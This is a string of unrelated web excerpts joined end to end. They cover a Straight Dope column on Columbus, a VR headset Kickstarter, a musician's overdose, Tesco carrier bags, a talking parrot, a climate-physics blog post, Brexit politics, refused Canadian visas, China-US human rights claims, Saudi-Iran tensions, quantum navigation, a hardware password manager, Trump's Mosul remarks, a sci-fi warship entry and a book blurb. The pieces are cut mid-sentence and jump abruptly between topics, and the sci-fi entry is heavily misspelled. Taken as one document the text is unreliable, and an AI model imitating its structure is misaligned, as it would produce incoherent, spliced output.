or two), writing even to his family and Genoese friends in Spanish. Born poor, he appears to have been virtually illiterate when he left Genoa as a young man, not learning to read and write until he settled in Portugal. According to Samuel Eliot Morison’s Admiral of the Ocean Sea, "he wrote Castilian with Portuguese spellings, especially in the vowels, which prove he spoke Portuguese before he learned Castilian." And in Portuguese, "in" is em. Actually, the land that Columbus most eagerly sought was not India itself, but "the noble island of Cipangu [Japan] . . . most fertile in gold, pearls, and precious stones." Who knows? If Columbus had managed to convince himself he had actually reached Japan, today Ohioans might well be rooting for the Cleveland Cipangans. For an English translation of Columbus’s letter: www.usm.maine.edu/~maps /columbus/translation.html For the Spanish text: ensayo.rom.uga.edu/antologia/XV/colon/ For the Latin text: www.usm.maine.edu/~ma ps/columbus/transcription.html Send questions to Cecil via cecil@straightdope.com. Related STAFF REPORTS ARE WRITTEN BY THE STRAIGHT DOPE SCIENCE ADVISORY BOARD, CECIL'S ONLINE AUXILIARY. THOUGH THE SDSAB DOES ITS BEST, THESE COLUMNS ARE EDITED BY ED ZOTTI, NOT CECIL, SO ACCURACYWISE YOU'D BETTER KEEP YOUR FINGERS CROSSED. -Co-founded by Lochlainn Wilson and Yuka Kojima, the project has a very prominent supporter: Philip Rosedale, who tells me he plans to make his new VR-compatible world High Fidelity compatible with the FOVE. In fact, he believes the eye-tracking technology is so important for the future of VR, it'll become standard in the next generation of VR HMDs: FOVE: The World's First Eye Tracking Virtual Reality Headset , is a new Kickstarter VR project which incorporates eye-tracking technology into a VR head-mounted display (or HMD) to very cool effect -- watch: "Being able to see exactly where someone else is looking is probably the most important missing component of 1:1 communication in a virtual environment, if we have head and upper body motion, facial gestures, and hand movement," as Philip puts it to me. "Eye contact is extremely important and eye movement is a rich form of communication. Having used it, I can attest to the fact that FOVE has demonstrated successful, accurate eye tracking in an HMD. So we can expect that second generation HMD's will have eye tracking built in, and that this will be a big and important advance in 1:1 presence." That sounds right to me. With Philip's first VR world, Second Life, the avatar eye-lock function is an incredibly compelling way to create simulated connectivity between two people. Go here to consider getting in on this Kickstarter. Thanks to Adrian Cutler for the tip! Please share this post: Tweet -Trans-Siberian Orchestra Paul O'Neill OD'd On Prescription Drugs Trans-Siberian Orchestra's Paul O'Neill Died from Prescription Drug Overdose EXCLUSIVE Paul O'Neill -- the founder of the Trans-Siberian Orchestra -- died from a combination of prescription drugs ... TMZ has learned. TMZ obtained a copy of O'Neill's autopsy report, and it says he died of intoxication from a mix of methadone, codeine, diazepam (generic Valium) and doxylamine (an antihistamine). According to the doc, the cause of death is intoxication ... but it also mentions other ailments O'Neill was battling ... such as mild heart disease, hypertension and moderate hardening of the arteries. The medical examiner determined the death to be accidental. When O'Neill died last month, the band released a statement saying he'd died from a "chronic illness." Paul was 61. -ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account Tesco will scrap the sale of 5p bags in three weeks’ time, replacing single use carriers with 10p 'Bags for Life'. The supermarket giant has sold over 700 million carrier bags a year since a 5p charge was introduced in 2015. The fee lowered bag sales by 1.5 billion over two years but Tesco will stop selling them all together from August 28 in favour of reusable versions. The decision comes following a 10-week trial at stores in Aberdeen, Dundee and Norwich. Bag sales dropped by 25 per cent in these stores since the introduction of the scheme, Tesco bosses said. Single use carriers will still be available to online shoppers alongside a bagless delivery option. Profits raised from the 10p Bag for Life will fund community schemes across the UK. Matt Davies, UK and ROI CEO at Tesco, said: “The number of bags being bought by our customers has already reduced dramatically. "Today’s move will help our customers use even fewer bags but ensure that those sold in our stores continue to fund thousands of community projects across the country chosen by customers. "It’s the right thing to do for the environment and for local communities.” Click here for Tesco Direct discount codes -From the Associated Press in Japan comes the story of Yosuke, an African grey parrot with lots of smarts. We'll let the AP tell the tale: When Yosuke the parrot flew out of his cage and got lost, he did exactly what he had been taught — he recited his name and address to a stranger willing to help. Police rescued the African grey parrot two weeks ago from a neighbor’s roof in the city of Nagareyama, near Tokyo. After spending a night at the station, he was transferred to a nearby veterinary hospital while police searched for clues, local policeman Shinjiro Uemura said. He kept mum with the cops, but began chatting after a few days with the vet. "I’m Mr. Yosuke Nakamura," the bird told the veterinarian, according to Uemura. The parrot also provided his full home address, down to the street number, and even entertained the hospital staff by singing songs. "We checked the address, and what do you know, a Nakamura family really lived there. So we told them we’ve found Yosuke," Uemura said. The Nakamura family told police they had been teaching the bird its name and address for about two years. But Yosuke apparently wasn’t keen on opening up to police officials. "I tried to be friendly and talked to him, but he completely ignored me," Uemura said. -Update: It seems that the UNFCCC background page referred to below has changed and the link no longer works – see table of contents. A response from Justin Wood, writing to me from Australia after my previous post (cited with permission below), has prompted me to write a follow-up on the story of the greenhouse effect (GHE). I wonder if you’ve seen this terrible description of the greenhouse effect on a UNFCCC background page? http://unfccc.int/essential_background/feeling_the_heat/items/2903.php It actually says that incoming solar energy is ‘reflected’ by the planet’s surface ‘in the form of a calmer, more slow-moving type of energy called infrared radiation. … Infrared radiation is carried slowly aloft by air currents, and its eventual escape into space is delayed by greenhouse gases’ (emphasis added). Given your recent excellent explanation of the real physics on RC, I thought you might be interested! It’s downright disturbing that this silliness comes from such an important source; and I’ve found it repeated all over the place. (On that RC post, I would humbly suggest that the section on stratospheric cooling could helpfully be expanded to make that clearer?) I won’t discuss the stratospheric cooling now, but rather try to place recent events (including floods in Niger), which involve the hydrological cycle and atmospheric circulation, into the framework from my previous post ‘A simple recipe for GHE‘. Again, it can be useful to stop and contemplate whether a simple conceptual framework can provide greater understanding of climate model predictions and the observations we make on the climate system. I think that there are not too many simple descriptions, as Wood pointed out, that are convincing in terms of physics. Can we use such simple conceptual explanations for events such as the recent spate of extreme rainfall and heat waves then? I want to stress, as we did when discussing tropical cyclones, that single events do not constitute evidence of a climate change. Since climate can be defined as ‘typical weather pattern’ (or weather statistics), then climate change can be that extremes become more or less typical, and such change must start with a few events. This touches the difference between weather and climate, and each of these events can be considered as weather. But there is a connection between these weather events and results obtained from climate models. There are fascinating as well as disconcerting sides to the fact that global climate models reported in the IPCC AR4 suggest warming in the upper troposphere in the tropics (Figure 1 below). I regard these traits as important clues that may help unveil the secrets of the troposphere; The key into this mystery involves energy conservation, planetary energy balance, and the planetary energy input taking place at its surface while its heat loss mainly occurs at higher levels, as discussed in ‘A simple recipe for GHE‘. This story is about surface fluxes, a fuzzy connection between energy flow and circulation of water, and physical constraints pin-pointing the solutions. In other words, the hydrological cycle associated with moisture transport is tied to the energy flow associated with moist convection. Another simple mental picture I will yet again try to present a simplified physical picture: Our climate includes energy transport both from the equatorial region to the poles as well as a vertical flow from the surface to the height from which it can escape freely into outer space. The story behind mid-to-upper tropospheric warming strongly involves the vertical energy flow, which will be the focus of the discussion. In very simple terms, the laws of physics say there has to be a flow of energy from the planet’s surface, where energy is deposited, to the heights from where the heat loss takes place (see schematic below). The vertical energy flow can take several forms: radiative, latent, and sensible heat. The radiative energy transfer has a character of diffusion (photon diffusion), and the more opaque the atmosphere, due to increased GHG concentrations, the slower the effective radiative energy transfer. A similar situation is believed to take place in the outer layer of the Sun, in the opaque convective zone, where convection is the main mode of energy transfer (which by the way subsequently play a role in solar activity). If this were the whole story, then an increase in GHG concentrations would imply a deficit between the rate of energy gained at the surface and heat loss from the upper atmosphere due to hypothetically lowered energy transfer between the two levels: The emission temperature would decline as a result of net heat loss high up, and surface temperature would increase as a result of net gain in energy on the ground. One consequence of a deficit in the vertical energy flow would be different heating and cooling rates at different heights that subsequently would alter the atmosphere’s vertical structure (lapse rate). The planetary heat loss would drop if the emission temperature were to drop, and the planet would no longer be in energy balance, resulting in energy accumulation. However, planets will eventually reach new equilibrium states where the heat-loss balances the energy input. Other forms for heat flow between the two levels are expected to compensate for the reduction in radiative energy transfer (despite greater temperature differences) if the planetary energy input and heat loss are to balance. One such candidate is convection, carrying both latent and sensible heat and where the energy transfer takes place in form of heat-carrying vertical motion. Indeed, warming below and cooling aloft give rise to more unstable conditions that favours convection. Higher temperatures near the surface also cause increased evaporation according to a physical law known as ‘the Clapeyron-Clausius equation‘. Evaporation requires energy so that heat, which otherwise would go to increase temperatures, is instead used to transform water to water vapour (phase change). Differences in the molecular weights of N 2 and H 2 O means that moist air is lighter than dry air. Thus, increased evaporation favours convection, which transports both energy – as sensible (higher temperature) and latent (vapour) heat – and moisture. This is seen occurring naturally, especially in association with warm ocean surface in connection with the El Nino Southern Oscillation. Convection can therefore compensate for reduced radiative transfer if its mean vertical extent reaches the height of the planetary heat loss. Convection also is one of the factors that determines the thickness of the tropopause (Wikipedia on Troposphere: “The word troposphere derives from the Greek: tropos for “turning” or “mixing,” reflecting the fact that turbulent mixing plays an important role in the troposphere’s structure and behavior.”). Moist convection results in cloud formation: water vapour condenses and form cloud drops. The condensation releases heat and hence increase the temperatures, which subsequently has an effect on the black body radiation. Hence, cloud formation plays a crucial role for the planetary heat loss – in addition to affecting the planetary albedo. The reason why Figure 9.1 in IPCC AR4 is disconcerting is that the temperature anomaly in the upper tropical atmosphere bears the signature of increased moist convective activity, which means that the hydrological cycle probably gets perturbed by increased GHG forcings, hence affecting rainfall patterns. There have been some misunderstanding regarding the enhanced warming in the upper troposphere – mistakenly taken as being inconsistent with the climate models, or taken as the “finger print” of GHE, rather than as a plausible consequence predicted for an enhanced GHE due to the perturbation of the hydrological cycle (the “finger print”-misconception assumes that the models are perfect). Changes in the convective activity also have other repercussions. Air just doesn’t pile up, but if is rises in some places, it means that there is sinking air elsewhere. A typical example of this is the Hadley cell, where the circulation involves rising air near equator associated with low sea level pressure and downward motion poleward of this region – an arid region known as the subtropics with high sea level pressure. A change in convection on a planetary scale, due to compensating a reduction in the vertical radiative energy transport, hence may have a bearing on drought and flooding events – and this is what the global climate models seem to suggest. If a shift in the hydrological cycle were to lower the response in the global mean temperature, there may be a poisonous sting in such a negative feedback: changes in the precipitation patterns. When GHG concentrations change, there is also a disruption in the vertical energy flow so that the planetary energy balance is perturbed. This is the frequently cited extra forcing estimated at the top of the atmosphere (TOA), and this is where some of the assumptions made above don’t quite hold (the picture is correct for a planet in equilibrium, but during a transition the planet is no longer in an equilibrium) and extra energy is taken up by warming of the oceans and surface. As a physicist, the key to understanding the relationship between GHE and the hydrological cycle – and indeed the troposphere – is in embedded in the question of what happens with the energy flow between the two levels where the planet receives its energy and where it leaves the planet. For more numbers and details, I’d recommend a number of posts previously published here on RC (here, here, here, here, and here). -UK PM May faces parliamentary rebellion over refusal to publish Brexit plans By Kylie MacLellan LONDON, Dec 6 (Reuters) - British Prime Minister Theresa May faces a rebellion among her own lawmakers when parliament debates whether the government should set out its Brexit plan before triggering formal divorce talks with the European Union. May, who plans to kick off the exit process by the end of March next year, has said the government will not give a running commentary on its preparations for Brexit as this would damage its negotiating position. The opposition Labour Party has put forward a motion, to be debated on Wednesday, calling on the government to publish its plan for leaving the bloc before it invokes Article 50 of the EU's Lisbon Treaty to begin the formal Brexit process. The BBC reported that one former minister had predicted between 20 and 40 lawmakers from May's ruling Conservatives could support the motion, which is not binding on the government but would increase pressure on it to be more open. "These things are incredibly important. This actually transcends party politics and tribalism. There is nothing in it which I don't agree with," remain-backing Conservative lawmaker Anna Soubry told BBC Radio, referring to the motion. "The contents of that motion are eminently supportable." While asking May to commit to publishing the government's Brexit plan, the motion also says there should be "no disclosure of material that could be reasonably judged to damage the UK in any negotiations to depart from the European Union". "This is a real opportunity to finally get clarity on the government's plan for Brexit," Labour Party Brexit spokesman Keir Starmer, who put forward the motion, said in a statement. "Parliament and the public need to know the basic terms the government is seeking to achieve from Brexit. This issue is too important to be left mired in uncertainty any longer." May avoided a parliamentary rebellion in October by agreeing to a motion that parliament would have opportunities to debate Brexit on the condition that it would not undermine her negotiating strategy. When asked about Wednesday's debate, a spokesman for May said the government would not be setting out its plans before triggering Article 50. -Iraq's National Theatre Company has cancelled its show at the Impact 15 festival in Kitchener, Ont., because troupe members were denied Canadian visas over fears they'd attempt to seek refugee status, the festival director says. "After midnight I received an email from the company. The director of the company has received a notice from the embassy denying them entry into Canada," said festival director Majdi Bou-Matar in an interview on CBC Radio's The Morning Edition with Craig Norris. The letter from the Canadian Embassy in Paris said, in French, that officials weren't convinced the theatre performers would return to Iraq and would instead seek refugee status in Canada. The letter cited concerns over the group's financial situation, property ownership and employment as reasons for denying the visas. Seven of the nine troupe members live in Iraq and applied to the visa office there. Their applications were forwarded to the Canadian Embassy in Amman, Jordan. The troupe's director, Muhaned Hadi Hendi Al Shafeay, lives in France and so applied through the embassy in Paris, and that embassy responded to all of the applications. The other member of the troupe is a British citizen, and didn't apply for a visa. The company was scheduled to perform the play Camp, about life as a refugee, on Sept. 26 and Sept. 27. But after weeks of waiting, the company still hadn't received visas permitting the performers to visit the Waterloo Region. "Shouldn't we ask ourselves why a group of artists who are all well established would not be allowed to come participate in a theatre festival?" said Bou-Matar. "And they're not even given the courtesy to reply to them in a timely manner." Bou-Matar said he wanted to include the play in the festival's lineup because its content was timely, looking at the challenges refugees face building a home away from home. "This show was chosen because it is about connecting [the theatre company] to the large Iraqi population who is living here in our community and who are feeling displaced," said Bou-Matar. 1st time cancelling a performance Bou-Matar said this is the first time the festival has had to consider cancelling a show, with past companies coming from China, Palestine and Colombia. Two other international theatre companies will be participating in the festival: Nous Jouons Pour Les Arts from Morocco Victoria Hunt of Australia. Bou-Matar said he will refund tickets for the Iraqi booking, but is also considering holding a Skype conversation with the theatre company from Iraq during the time it was scheduled to perform. The festival launches Sept. 22 and runs until Sept. 27. -A Chinese government report published on Friday accused the United States of “serious infringes on human rights.” Beijing's announcement is widely seen as a response to an earlier U.S. State Department report that expressed concern over abuses of human rights in China. The Chinese report, titled “The Human Rights Record of the United States in 2013” and released by China’s Information Office of the State Council, decried what it perceived to be human rights abuses by the United States. “Acting as the world’s judge of human rights, the U.S. made arbitrary attacks and irresponsible remarks on the human rights situation in almost 200 countries and regions," read a brief editorial accompanying the report in Xinhua, the state-run news agency. “If the United States wants to be the self-claimed human rights judge of the world, though China and most countries do not agree, it first needs to sweep its own doorsteps. Otherwise, its words will not be heard, let alone trusted, by other countries.” Chinese Foreign Ministry spokesperson Qin Gang later chimed in at a daily news briefing. “The United States always wants to gossip and remark about other countries’ situations, but ignores its own issues. This is a classic double standard.” The Chinese government was responding to the U.S. State Department’s annual survey of human rights around the world that was released Thursday. Titled “Country Reports on Human Rights Practices for 2013,” the U.S. report painted a largely negative picture of China's approach towards human rights. The report criticized Beijing in areas such as “Respect for the Integrity of the Person”, “Respect for Civil Liberties”, “Respect for Political Rights” and “Corruption and Lack of Transparency in Government.” China's response was equally broad. It covered such areas as the government’s PRISM surveillance program, military drone strikes, solitary confinement within U.S. prisons, widespread gun violence in America, and high rates of unemployment, homelessness, and child labor. -Saudi Arabia's break with Iran is widely seen as a symptom of the Saudi fear of an aggressive Tehran and the construction of a "Shiite Crescent" in the Arab Middle East that is encircling the Sunni Muslim-dominated kingdom. But there's also a strong domestic element to the concerns: the desperate desire by the Saudi ruling group to shift attention away from domestic troubles to foreign threats. The Saudi government, led by nearly octogenarian King Salman bin Abdul-Aziz Al Saud, is under pressure from numerous home-grown threats. There is stiff opposition to the king himself and his son, Mohammad bin Salman Al Saud, recently appointed Deputy Crown Prince and to other top jobs, thereby placing him in line for eventual kingship. Reduction of gasoline subsidies hit hard at the poor. Sectarian tension persists, driven by the discontented second-class citizenry of Saudi Arabia's Shiite Muslim minority. Many younger Saudis think the royal family is a bunch of corrupt degenerates. Large numbers of disaffected youth have gone to Syria to fight alongside the Islamic State. ISIS is an avowed enemy of the Saudi monarchy, which it views as unwilling to engage in a cleansing jihad against foreign and local enemies. So in some ways, tension with Iran is a useful diversion from an internal crackdown. King Salman sent a tough message to opponents with the execution-by-beheading of 47 people he alleged were terrorists; 46 were Sunni Muslim Saudis. The Saudi Foreign ministry issued a statement to justify this housecleaning, which it said was "based on clear and undisputed physical evidence" of terrorism." Some of the charges dated back more than a decade. The show of brutal domestic scimitar-rattling was a vivid message to highlight just who is in charge. Despite the clear internal motive for the executions, foreign commentators and government mostly focused on the killing of a single Shiite cleric, Nimer al-Nimer. Iran, a Shiite Islamic republic, which has set itself up as protector of Shiites everywhere, protested. A mob in Tehran trashed and torched the Saudi embassy. The Saudis responded by cutting off diplomatic relations and got its allies, Kuwait, Bahrain and Sudan to do the same. The United Arab Emirates downgraded its relations. The Saudi foreign ministry accused Iran of harboring terrorists and of "blatant intervention" in "Iraq, Yemen, Lebanon and Syria, where it has directly interfered through the revolutionary guard and the Shiite militias from Lebanon and other countries of the world, resulting in the killing of more than 250,000 Syrians." Indeed, Iran's foreign policy worries the Saudis, who featured themselves Arab world leader and successor to historic Sunni Muslim domination of the region. To the north in Syria, the Saudis see Iran as backer of an Alawite minority regime that lords it over a Sunni Muslim majority. To the east, it sees Iran as sponsor of a restive Shiite majority in Sunni-ruled Bahrain. To the south, it regards Houthi Shiite rebels as an Iranian cat's paw fighting a Saudi-installed government. Iran influences a former Saudi client in Palestine, Hamas, with financial support. And there are other alarming outside factors. The steep decline of oil prices and the feeling that the United States, its main post-World War II ally, has abandoned it. Exhibit A is President Obama's willingness to cut a nuclear deal with Iran without trying to curb Tehran's interventions on Saudi Arabia's doorstep. The escalation of tensions between Saudi Arabia and Iran is the latest episode in a 35-year old low-intensity conflict between the two regional powers. The competition took off in 1979, when the Shiite Islamic revolution triumphed in Iran. The new government solidified its hold on Iran with harsh Islamic moral and social restrictions and began to spread its influence outside by setting itself up as rival to the US, an enemy of Israel and supporter of non-state militias, foremost among them Lebanon's Hezbollah. Saudi Arabia harbored its own designs for Middle East leadership and reacted by intensifying the spread its ultra-conservative Islamic ideology, Wahhabism. The Saudis funded mosques, trained preachers and supported insurgent and terrorist groups in places as far afield as Palestine and the North Caucasus. This competition evolved in parallel to intermittent U.S. military and political interventions in the Middle East and the region's chronic instability. Following the disastrous Iraq adventure, the US withdrew from its dominant position in the Middle East, opening the way for regional rivals and secondary outside powers -- especially Russia and Turkey -- to enter the fray. This tangle of internal and external crises represents a major existential crisis for a country once considered a lynchpin to Middle East stability. No more. Saudi Arabia is shoring up its internal controls in anticipation of a long struggle. -The MoD is pouring millions of pounds into research on a “quantum compass” that will be far more accurate than GPS and immune to jammers or hackers, with potential applications in everything from nuclear submarines to your next smartphone. Quantum technology is already being explored in universities and companies worldwide for potential applications in communications and computation, but several UK academic projects backed by cash from the MoD are focusing on how it can be used in sensing and precision timing - both of which could lead to a “game-changing” navigation device. It could also give birth to the most precise clock ever created. The whole field hinges upon an unusual field of physics called quantum mechanics which explores how particles on a sub-atomic level can act as both a physical particle and an electromagnetic wave at the same time. Quantum TNS (timing, navigation and sensing) involves cooling atoms down to temperatures a billion times colder than outer space. Unlike GPS, which relies on triangulation from a network of satellites, it very accurately measures movements from a known position to keep track of location. With the first products expected in the next five years, its potential impact on the electronics, defence and telecommunications could be huge. Currently submarines use GPS while surfaced but rely on crude accelerometers when underwater to track position with dead reckoning. But spending just one day underwater can lead to inaccuracy of up to a kilometre. With quantum TNS this error could be kept to as little as one metre. To highlight the potential in this new area of technology a conference is taking place today at the National Physical Laboratory in Teddington to showcase 13 new research projects being funded by DSTL to bring the technology to market. Neil Stansfield, who is tasked with exploring “emerging and disruptive technologies” at the MoD’s Defence Science and Technology Laboratory, said that defence may be an early adopter of quantum TNS but that the civil market is “potentially enormous” and could see the technology built-in to cars and phones. “We’ve done quite a lot of looking at the physics, and most of the basics are either proven or we know what needs to be done to prove it. The uncertainty is not ‘can we do it’, but ‘how long will it take’,” he said. “We’re at the beginning of a journey here. “The size of the equipment we’re building is, if you imagine a shoebox that stretched out to about a metre long. That’s in one axis, so you’d need three of those to do 3D.” When the first atomic clock was developed at the NPL it was the size of a room, now they are the size of a suitcase. It is hoped that navigation devices using quantum mechanics will follow the same rate of miniaturisation. The idea is based on a Nobel Prize-winning theory which showed atoms could be frozen with a laser. In the navigation systems now being developed at the DSTL a vacuum container with between one and ten million atoms, all moving at around the speed of a jet aircraft, is hit by lasers and cooled to temperatures a billion times colder than outer space. These atoms at that point become coldest known bodies in the universe. The atoms are slowed until they are moving at just a few millimetres a second. They can then be unfrozen for precise lengths of time to take exact measurements of how far they moved, therefore allowing precise calculations on how the whole device moved in that time or changes in gravitation. One problem yet to be overcome is that these two possibilities cannot be told apart – a large object to the north of the sensor would give the same reading as acceleration to the south. It is thought that maps showing high-gravitation areas will be able to solve this issue. The speed with which this quantum TNS is adopted in commercial products is hard to predict, said Stansfield, and largely dependent on consumer demand. But the National Physical Laboratory’s Bob Cockshott said that there was definite potential. “Maybe six or eight years ago the idea of every phone having GPS in it was ludicrous, now the chipset costs a couple of dollars. I think we'll see the same sort of trajectory here. Perhaps in a number of years these devices could be built-in to all devices,” he said. “The really pressing need now is for something that works when you can’t see the satellite. GPS is never going to tell you what floor of the car park you’re on.” Cheap and compact laser technology has been developed by the telecoms industry, so much of the building blocks for these quantum TNS devices is ready to go, he said. And there will be applications long before it is minituarised to the extent needed to fit into smartphones: “That metre-long shoebox won’t fit in your pocket, but it certainly will fit in a modest-sized aircraft.” -We’re still nowhere close to solving the password conundrum. Software solutions, such as password managers, have attempted to solve it by managing and encrypting all of your passwords with a master key. That’s convenient but, like all software, it isn’t a perfect solution but maybe hardware can help. Mooltipass is a hardware gadget that physically stores your passwords. The Swiss startup has raised over $75,000 on its Kickstarter crowdfunding campaign to build its new iteration, the Mooltipass Mini, a palm-sized device that should make carrying your passwords even easier. The Mooltipass Mini connects to your computer or smartphone and stores your passwords using a PIN-protected smart card. When you get started, the Mooltipass browser extension or smartphone app asks you to enter your password for each account, which it then saves. It also acts as a USB keyboard for adding in passwords manually. After that you’ll only need to log in by connecting the device and hitting its login button. In theory, it cuts out the need to remember and enter passwords each time you login into a site. mooltipass-login-phone More The smart card that stores your authentication data is encrypted with AES-256 encryption, meaning multiple cards can be used with the device. Related: Vaulteq’s physical password manager stores your data at home, not in the cloud So far Mooltipass only has a Chrome extension, which will generate lengthy and tough passwords for you before saving them to your device. So while the device itself can be used with any OS, you still need to be a Chrome user. If you’re not a Chrome user, the startup says its currently developing and testing a Firefox version. The successful crowdfunding campaign shows the prototype of the new Mini device and a number of test users have copies. The new funds will be used to advance the development of the device and make it commercially available. It will cost around $70, and has a planned January release. For now, the appeal of the device is somewhat constrained by its Chrome limitation. It’s kind of reminiscent of Vaulteq, another physical password manager that’s trying to eradicate the password problem with a mini server that connects to your home router. Mooltipass on the other hand is designed for portability, which is a big plus. Both devices have had successful crowdfunding campaigns. Whether physical password solutions will gain traction beyond the most security-conscious consumers, who have put down their money, remains to be seen. -Donald Trump, a man who doesn’t know when to stop talking, wishes the US military would stop talking about its plans to help retake the ISIS-held city of Mosul. During Wednesday's debate, Trump said Gens. George Patton and Douglas MacArthur would be "spinning in their grave" over the Pentagon’s public discussions of the ongoing push to reconquer Mosul, which began earlier this week. Trump has refused to answer any questions about his own strategy for fighting ISIS because he says he wants to maintain the element of surprise. On Wednesday, he said the US had tipped its hand too early, giving ISIS time to get key leaders out of the city and bolster its defenses. "Why can't they do it quietly? Why can't they do the attack, make it a sneak attack, and after the attack is made, inform the American public that we've knocked out the leaders, we've had a tremendous success?" Trump had asked at an earlier debate. "Why do they have to say we're going to be attacking Mosul within the next four to six weeks?" On its face, it seems like a reasonable question. The wars we see in movies and on TV tend to involve well-trained troops swooping in at night to overrun enemies who had no idea they were coming. They don’t tend to involve PowerPoint presentations with maps of the areas that will be hit and a rough chronology of how the attack will unfold. Dig a little deeper, though, and it becomes clear that Trump is wrong on two counts. First, there are legitimate military and political reasons why operations as big as the coming Mosul fight can't be prepared in complete silence. And second, ISIS isn't stupid, and the US hasn't said anything publicly that the group didn't already know. "An ISIS that didn’t know there’d be an attempt to retake Mosul would be an ISIS that was too stupid to have taken Mosul in the first place," said Stephen Biddle, a professor of political science and international relations at George Washington University. "If ISIS wasn’t already preparing, they’d be guilty of military negligence, and we would be delighted that they’re so incompetent." Or as Michael Knights of the Washington Institute for Near East Policy put it, "There’s no sneaking up on the other side’s capital. We didn’t sneak up on Berlin in World War II, and we’re not going to do a surprise attack on Mosul either." The war over the war for Mosul Trump isn’t the first to accuse the Pentagon of giving away the store. In February 2015, an unnamed officer from US Central Command, which oversees the war against ISIS, told reporters that the offensive to retake Mosul would begin that April or May and include up to 25,000 Iraqi and Kurdish security forces. The level of detail — which included the directions the Kurds would attack from and the Pentagon’s plan to use former Mosul police officers in the fight — surprised reporters and prompted Sens. John McCain and Lindsey Graham to allege that Centcom had "knowingly briefed our own war plans to our enemies" and put US and Iraqi lives at risk. The briefing also infuriated senior Iraqi officials, who hadn’t been notified in advance that the US planned to share so much. Iraqi Defense Minister Khaled al-Obeidi said at the time that Baghdad, not Washington, would decide when the assault began. "A military official should not reveal the timing of the offensive," Obeidi said. A lot has changed since then, however. Backed by US airpower and military aid, Iraqi and Kurdish forces have rooted ISIS from its former strongholds in Ramadi and Fallujah and moved steadily closer to Mosul. The US estimates that ISIS has lost 47 percent of the territory it once held in Iraq. On the ground, meanwhile, tens of thousands of Iraqi troops, Kurdish peshmerga, and Sunni tribal fighters are massing outside Mosul in advance of the attack. That takes us to a broader point: Preparing to launch a massive military operation to retake Iraq’s second-largest city is not the kind of thing that can be done stealthily. It’s literally not possible to move tens of thousands of troops, heavy artillery, and other equipment to the outskirts of the city a couple of hours before the attack is supposed to begin. Making matters even harder, the 20,000 to 30,000 troops that will take part in the offensive aren’t part of a central, unified command. Moving fighters from so many different groups — some members of a formal army, some just tribal fighters with minimal training — and all of their weapons and equipment into place around a city as big as Mosul takes a while. And the idea that all that activity would go unnoticed by ISIS fighters in Mosul and the surrounding areas beggars belief. So even if the Obama administration hadn’t announced that it planned to retake Mosul soon, ISIS would still have known. They’re terrorists, not blind. And indeed, the US buildup hasn’t gone unnoticed by ISIS, which has spent months fortifying its positions inside Mosul. That’s the other reason Trump is wrong to worry about the US losing the element of surprise. Washington never had it in the first place. ISIS is already preparing for war — and has been for a long time It’s been two years since Mosul fell to ISIS, which means that ISIS has had two years to stockpile weapons and build up an extensive network of defensive fortifications. Among them, according to CNN: oil-filled moats ringing the outskirts of the city that can "be set ablaze to obscure the vision of coalition air power." Other news reports indicate that ISIS is building walls and trenches to make it harder for ground troops to enter Mosul while also digging tunnels so its fighters will be able to wage a guerrilla war inside the densely populated city. Senior ISIS leaders, meanwhile, have already either fled Mosul or gone into hiding because of the unrelenting US effort to track and kill them from the air. The head of ISIS, Abu Bakr al-Baghdadi, gave a triumphant public address after capturing the city in 2014. He hasn’t been seen in Mosul since. "The idea that Baghdadi would have been hanging out in a cafe in Mosul drinking coffee if we hadn’t telegraphed that we’re coming is just silly," Biddle said. And that, in a nutshell, is the single biggest problem with Trump’s argument. There are aspects of the coming Mosul offensive that would without question do real damage if made public. ISIS would benefit from knowing the exact day the offensive will begin, the roads coalition troops will take into Mosul, the radio frequencies they’ll use to communicate, the buildings they plan to target, and other details about how the US and its allies hope to conquer the city. The US hasn't disclosed any of those things. The Pentagon has hinted that the offensive would begin at the end of October or in early November, given a very broad estimate of the number of troops that will take part, and made the obvious points that the Kurds stationed north of the city would attack from the north while the Iraqi and tribal forces operating south of Mosul would move up from the south. It's hard to imagine the US getting more specific as the fighting draws nearer. "On a daily basis, we’re using tactical surprise very effectively to kill ISIS leaders," Knights said. "When a basic guided bomb drops out of the air, they get no warning whatsoever. So we’re hardly excessively telegraphing many of the aspects of the campaign." There’s good reason to talk about invading Mosul before the fighting starts Announcing that a major military operation to kick ISIS out of one of its most important strongholds is just around the corner also has clear public relations value. The anti-ISIS coalition runs the gamut from independence-minded Kurds to Sunni tribal fighters wary of what they see as a pro-Iranian government in Baghdad. Keeping them on the same page is easier when there’s tangible progress to point to — and when they can be told that the climactic battle for Mosul is imminent. Talking up the offensive also offers a morale boost for the civilians trapped inside the city, since they’re now effectively being told, "Hold on a little longer — help is on the way." Indeed, the US-led coalition has dropped fliers over the city promising the people there that they have not been forgotten and that they will be liberated for this same reason. And, finally, it serves to counteract ISIS propaganda. ISIS’s Arabic motto translates to "enduring and expanding," and much of its appeal and legitimacy derives from its success on the battlefield and its control of a large swath of territory in Iraq and Syria that it claims is the caliphate reborn. Defeating the group on the battlefield is hard, but counteracting its propaganda is even harder. That’s what makes the battle for Mosul so important. Taking back the city would deal ISIS a body blow militarily while also making its messages of strength and power ring hollow. And that’s something that would definitely be worth talking about. -(Timeline 3177)-Portsmouth Class Lance Cruiser: First deployed in 2204, the Portsmouth class Lance Cruiser is among the most advanced warships in Her Majesty's Royal Star Navy. Partical Lance Technology was developed by a Joint Japanese/British program with information give to the US per the treaty of New New York in the 2186. In the 2190s, the Royal Star Navy invested research into minaturization in hopes of allowing smaller craft to be able to make us of this new technology, the end result was the Portsmouth class, putting a partical lance weapon in a cruiser sized warship. The Portsmouth class is fairly lightly armored, but possesses heavy defensive screens. They are also somewhat ungainly for their level of armoring, being able to out accelerate a heavy cruiser but being outclassed by light cruisers and most battlecruisers. Despite this, it is quite heavily armed. It has a considerable point defense arsenal for a ship of it's size. Portsmouth class Cruisers have eight battleship level energy cannons and has sugnifigant capacator space. This means that it can fire off several fairly powerful broadsides in quick sucession before going down to a much slower recylce rate. It also can fire off six long range torpedos at once, but they have limited magazine space. The Lance itself is a weapon which must be used carfully, it takse a considerable amount of time to fully power and once fired, it leaves the ship with minimal acceleration, no screens and no power for it's heavy turrets for several minutes. As such, it is only to be used in scenarios where the Cruiser has considerable support or the destuction of the enemy warship is assured. It also carries a complement of 8 Fighters. This power does come at a price, however, as the Portsmouth class Lance Cruiser is among the most expensive ships in her class to produce. -Inskeep Explores Growing Pains Of An 'Instant City' Instant City Life and Death in Karachi by Steve Inskeep Hardcover, 284 pages | purchase close overlay Buy Featured Book Your purchase helps support NPR programming. How? Pakistan's port city of Karachi is 30 